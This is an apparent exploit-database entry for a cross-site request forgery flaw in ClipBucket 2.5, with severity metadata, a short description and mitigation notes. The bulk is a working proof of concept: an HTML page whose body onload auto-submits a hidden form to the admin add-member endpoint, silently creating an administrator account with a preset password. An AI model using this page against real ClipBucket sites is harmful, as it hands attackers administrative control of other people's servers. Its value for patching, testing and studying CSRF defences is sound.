ClipBucket 2.5 CSRF Vulnerability

vendor:

ClipBucket

by:

DaOne [LCA]

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: ClipBucket

Affected Version From: 2.5

Affected Version To: 2.5

Patch Exists: NO

Related CWE: N/A

CPE: 2.5:clipbucket:clipbucket:2.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2012

ClipBucket 2.5 CSRF Vulnerability

A CSRF vulnerability exists in ClipBucket 2.5 which allows an attacker to add an admin user to the system. An attacker can craft a malicious HTML page containing a form with hidden fields that when loaded by an authenticated user, will submit the form and add an admin user to the system. The malicious HTML page can be hosted on a website or sent via email.

Mitigation:

The application should verify that the request is coming from an authenticated user and that the request is not forged. The application should also use a random token in the form to prevent CSRF attacks.

Source

Exploit-DB raw data:

##########################################
[~] Exploit Title: ClipBucket 2.5 CSRF Vulnerability
[~] Author: DaOne [LCA]
[~] Date: 15/8/2012
[~] Software Link: http://clip-bucket.com/
[~] Or: http://sourceforge.net/projects/clipbucket/
##########################################

[#] [ CSRF Add Admin ]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/admin_area/add_member.php">
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="email" value="admin@email.com"/>
<input type="hidden" name="password" value="pass123"/>
<input type="hidden" name="cpassword" value="pass123"/>
<input type="hidden" name="country" value="CA"/>
<input type="hidden" name="gender" value="Male"/>
<input type="hidden" name="dob" value="1989-10-14"/>
<input type="hidden" name="category" value="1"/>
<input type="hidden" name="level" value="1"/>
<input type="hidden" name="active" value="Ok"/>
<input type="hidden" name="add_member" value="Add Member"/>
</form>
</body>
</html>

##########################################
[*] thanks to : * Ly.Lolsec *
##########################################